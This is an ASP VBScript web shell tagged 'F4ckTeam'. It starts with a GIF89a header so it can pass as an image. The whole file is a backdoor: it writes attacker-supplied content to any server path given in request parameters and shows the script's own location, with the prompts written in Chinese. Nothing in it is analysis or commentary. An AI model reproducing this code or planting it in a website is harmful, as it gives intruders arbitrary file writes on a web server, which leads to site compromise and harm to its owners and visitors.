gif89a <%@LANGUAGE="VBScript" CODEPAGE="936"%> 法客论坛 - F4ckTeam

<% dim FSO %> <% dim Data %> <% dim MyFile %> <% on error resume next %> <% Set FSO = Server.CreateObject("Scripting.FileSystemObject") %> <% if Trim(request("path1"))<>"" then %> <% Data = request("path2") %> <% Set MyFile=FSO.CreateTextFile(request("path1"),True) %> <% MyFile.Write Data %> <% if err =0 then %> <% response.write "写入成功! " %> <% else %> <% response.write "写入失败!" %> <% end if %> <% err.clear %> <% end if %> <% MyFile.Close %> <% Set MyFile=Nothing %> <% Set FSO = Nothing %> <% Response.write "" %>

<% Response.write "我的位置:" %> <%=server.mappath(Request.ServerVariables("SCRIPT_NAME")) %>
<% Response.write "
" %>
这里填路径：<% Response.Write "" %>
<% Response.write "这里填内容：" %> <% Response.write "" %>
<% Response.write "" %>